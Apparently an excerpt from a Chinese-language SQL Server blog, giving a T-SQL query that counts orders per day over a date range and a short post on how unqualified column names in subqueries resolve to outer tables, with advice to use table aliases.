SET @Span = DATEDIFF(dd,@OrderDateBegin,@OrderDateEnd)
--SELECT @Span

SELECT DATEADD(dd,fn.n-1,@OrderDateBegin),
(SELECT COUNT(1) FROM bdorder b(NOLOCK)
 WHERE b.OrderDate>=DATEADD(dd,fn.n-1,@OrderDateBegin)
       AND b.OrderDate < DATEADD(dd,fn.n,@OrderDateBegin) )
FROM dbo.fn_nums(@Span) fn

2,与上面类似,但查询一天每个时间段的数据时或每几个时间段的数据时,也可通过上面的方法处理!
2011四月1

子查询字段的来源

sql server 评论关闭

对于子查询,名称解析处理是从内部嵌套层向外进行的,若当天表中没有select引用的列,则会从上一层中引用出来,若上层都没有,就会报错。
SELECT *
FROM frmuser a(NOLOCK)
WHERE a.Account NOT IN( SELECT account -
FROM mdDepartment a1(NOLOCK)
)
-account在mdDepartment中不存在,会引用上层frmUser的account,故语句不会报错,为避免这种情况,最好在字段前加别名。